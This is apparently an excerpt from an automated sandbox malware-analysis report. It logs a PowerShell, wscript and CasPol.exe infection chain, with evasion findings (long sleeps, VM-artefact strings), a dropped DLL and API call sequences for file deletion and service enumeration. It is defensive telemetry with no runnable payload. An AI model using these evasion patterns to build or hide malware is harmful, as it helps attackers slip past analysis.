Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0040E627 Sleep,ExitProcess,

12_2_0040E627

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 13_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,

13_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

12_2_00419AB8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6971	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2656	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4081	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 9226	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: foregroundWindowGot 1770	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_12-52758

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

API coverage: 9.4 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440	Thread sleep count: 6971 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep count: 2656 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8076	Thread sleep count: 252 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8076	Thread sleep time: -126000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8080	Thread sleep count: 219 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8080	Thread sleep time: -657000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8080	Thread sleep count: 9226 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 8080	Thread sleep time: -27678000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	12_2_0040B335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	12_2_0040B53A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_0041B63A FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,	12_2_0041B63A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,	12_2_004089A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00406AC2 FindFirstFileW,FindNextFileW,	12_2_00406AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,	12_2_00407A8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,	12_2_00408DA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00418E5F FindFirstFileW,FindNextFileW,FindNextFileW,	12_2_00418E5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	12_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0040AE51 FindFirstFileW,FindNextFileW,	13_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	14_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	15_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

12_2_00406F06

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 13_2_00418981 memset,GetSystemInfo,

13_2_00418981

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: wscript.exe, 00000006.00000002.1750442495.0000000003640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b})
Source: powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1779425802.0000000007CF1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1779425802.0000000007C7D000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001318000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.4102227044.0000000001391000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000007.00000002.1986804543.000000000AF91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 4'^qemU
Source: powershell.exe, 00000003.00000002.1774693140.0000000004849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000007.00000002.1944544360.0000000007569000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

